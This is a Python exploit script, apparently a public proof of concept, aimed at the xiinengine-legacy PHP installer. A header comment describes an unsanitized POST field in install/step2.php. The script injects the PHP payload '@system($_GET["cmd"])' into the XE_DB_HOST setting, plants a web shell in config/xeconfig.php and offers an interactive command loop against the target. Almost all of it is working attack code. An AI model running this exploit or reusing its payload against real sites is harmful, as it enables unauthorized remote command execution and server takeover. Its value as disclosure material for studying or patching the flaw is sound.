#https://github.com/GreenYoshi/xiinengine-legacy
#In install/step2.php post variables are saved without any
#sanitizing resulting in possible php command injection.
#For an example, post id="XE_DB_HOST" set value  ' . @system($_GET["cmd"]) . '
#which will result in a shell at /config/xeconfig.php?cmd=ls
#Vendor are notified 
 
import urllib,urllib2,sys
 
if (len (sys.argv) < 2):
    print "Usage: " + sys.argv[0] + " url " + " -shell/-inject_shell/-inject\n"
    print "Example: " + sys.argv[0] + " http://localhost/ -inject_shell"
    exit()
 
url = sys.argv[1]
header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' }
 
def checkIfVuln():
 
    resp =  urllib.urlopen(url+"config/xeconfig.php")
    if (resp.getcode()==200):
        return 1 # Not vuln
    else:
        return 0 # Vulnerable
 
def inject ():
    post_values = {
        'XE_DB_HOST' : '\' . @system($_GET[\"cmd\"]) . \'', #Payload
        'action' : 'Install'
    }
    encData = urllib.urlencode(post_values)
    req = urllib2.Request(url+"install/index.php",encData,header)
    resp =  urllib2.urlopen(req).read()
 
    print sys.argv[1]+"/config/xeconfig.php injected"
 
def shell ():
    while 1:
        command = raw_input ("Command to run:")
        req = urllib2.Request(url+"config/xeconfig.php?cmd="+command,None,header)
        answ =  urllib2.urlopen(req).read()
        print answ
 
if(sys.argv[2] == "shell"):
    shell()
 
elif(sys.argv[2]== "inject_shell"):
    if (checkIfVuln()== 0):
        inject()
    else:
        print "Config file already exists, not vulnerable, or already exploited, entering shell mode."
    shell()
elif (sys.argv[2] == "inject"):
    if (checkIfVuln()== 0):
        inject()
    else:
        print "Config file already exists, not vulnerable"
        exit()
 
else:
    print "Invalid arguments."
 
"""
    Complete list of postvalues in step1.php
    'XE_SITE_NAME' : '',
    'XE_SITE_DESCRIPTION' : '',
    'XE_THEME_SLECT' : '',
    'XE_ROOT_PASSWORD' : '',
    'XE_ROOT_PASSWORD_CONFIRM' : '',
    'XE_DB_HOST' : '\' . @system($_GET[\"cmd\"]) . \'', #Payload
    'XE_DB_USER' : '',
    'XE_DB_PASS' : '',
    'XE_DB_NAME' : '',
    'XE_PAGE_ABOUT' : '',
    'XE_PAGE_LEGAL' : '',
    'action' : 'Install'
 
"""
